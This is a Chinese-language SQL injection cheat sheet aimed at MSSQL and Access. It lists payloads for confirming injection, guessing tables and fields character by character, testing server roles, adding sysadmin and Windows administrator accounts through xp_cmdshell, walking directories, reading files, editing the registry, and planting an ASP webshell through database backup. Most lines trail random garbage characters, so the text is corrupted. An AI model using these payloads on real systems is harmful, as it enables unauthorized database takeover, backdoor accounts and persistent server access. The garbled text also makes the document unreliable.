1.判断是否有注入;and 1=1 ;and 1=2 =h,J!0Y
2.初步判断是否是mssql ;and user>0 oq[r+E-]$@
C=8IQl[^e
3.注入参数是字符'and [查询条件] and ''=' `*y%[J,I#
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' @BMuov
& {=}U
5.判断数据库系统 [7h/ 2La#
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;and (select count(*) from sysobjects)>0 mssql to(lE2`.da
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;and (select count(*) from msysobjects)>0 access KskPFXxP
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 p
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 g5lK&-yu]
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 =4
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9.(1)猜字段的ascii值(access) =kjD ]+l
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 N*SUA4bnuM
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(2)猜字段的ascii值(mssql) 58t~? 2E
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 A@jBn6
#@m6ag.
10.测试权限结构(mssql) 2hY"bpGW
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- CPcB17!
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- J~)JsAXAI
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- {m/KD 'b_
ubQr[/
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- EOXuc9>G
[~ !9t9+~
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- eN0lJ ~
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- oF_
'<\ly=
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;and 1=(select IS_MEMBER('db_owner'));-- Z_s]2y1
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11.添加mssql和系统的帐户 F&HvSt}l5
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;exec master.dbo.sp_addlogin username;-- >N"=10
;exec master.dbo.sp_password null,username,password;-- zvwv7JtB
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- vHN/~k#
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;exec master.dbo.xp_cmdshell 'net user username password zz #IY'dwT
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- HG^~7oMf
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 4iY
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- lL&p?MUp
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12.(1)遍历目录 2 ]}e4@{
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;create table dirs(paths varchar(100), id int) /w2NO9Q
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;insert dirs exec master.dbo.xp_dirtree 'c:\' m}t`43}QE
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;and (select top 1 paths from dirs)>0 -BH T'zq1S
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) = Q"(9[Az
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(2)遍历目录
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 0>:`|IGnT2
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 NN~PWy1opa
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 caZEZk#r;
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 CJ [e^K{
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 {'cdi`
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13.mssql中的存储过程 Tj=@5lj0
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xp_regenumvalues 注册表根键, 子键 |T{ZDJ+
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 iOiXo6YE
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xp_regread 根键,子键,键值名 h([qq<Lzs
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;exec xp_regread 0gr#<(
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 XQcE
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xp_regwrite 根键,子键, 值名, 值类型, 值 5K00z?kD2V
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 10*^
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 V,eH E5C
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xp_regdeletevalue 根键,子键,值名 Hr/J6kyB)
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 B|S X?X
=h}PL22
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 '>>@I~<\
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14.mssql的backup创建webshell `7'=~BP?X
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use model >2tosxH M
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create table cmd(str image); r8!M8Sc
{=_xze)
insert into cmd(str) values (''); 7/BA!V(na
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backup database model to disk='c:\l.asp'; (Jk:Qz5
q,(hs]\@
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15.mssql内置函数 OoR0>!x Z
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;and (select @@version)>0 获得Windows的版本号 7s1LK/R|u
5fK<DkB$>:
;and user_name()='dbo' 判断当前系统的连接用户是不是sa Xj21:IMR
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;and (select user_name())>0 爆当前系统的连接用户 XPcx"zv\
Fr9_!f
;and (select db_name())>0 得到当前连接的数据库 'w}/o+x@
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16.简洁的webshell JC4Z^/\.
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3_#q
use model |HK/*B
$-f(.S
create table cmd(str image); w~VqdB
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insert into cmd(str) values (''); g
[+_T{
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backup database model to disk='g:\wwwtest\l.asp';